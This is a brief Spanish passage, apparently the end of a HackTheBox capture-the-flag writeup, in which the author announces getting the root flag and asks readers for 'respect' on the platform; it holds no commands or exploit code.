Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
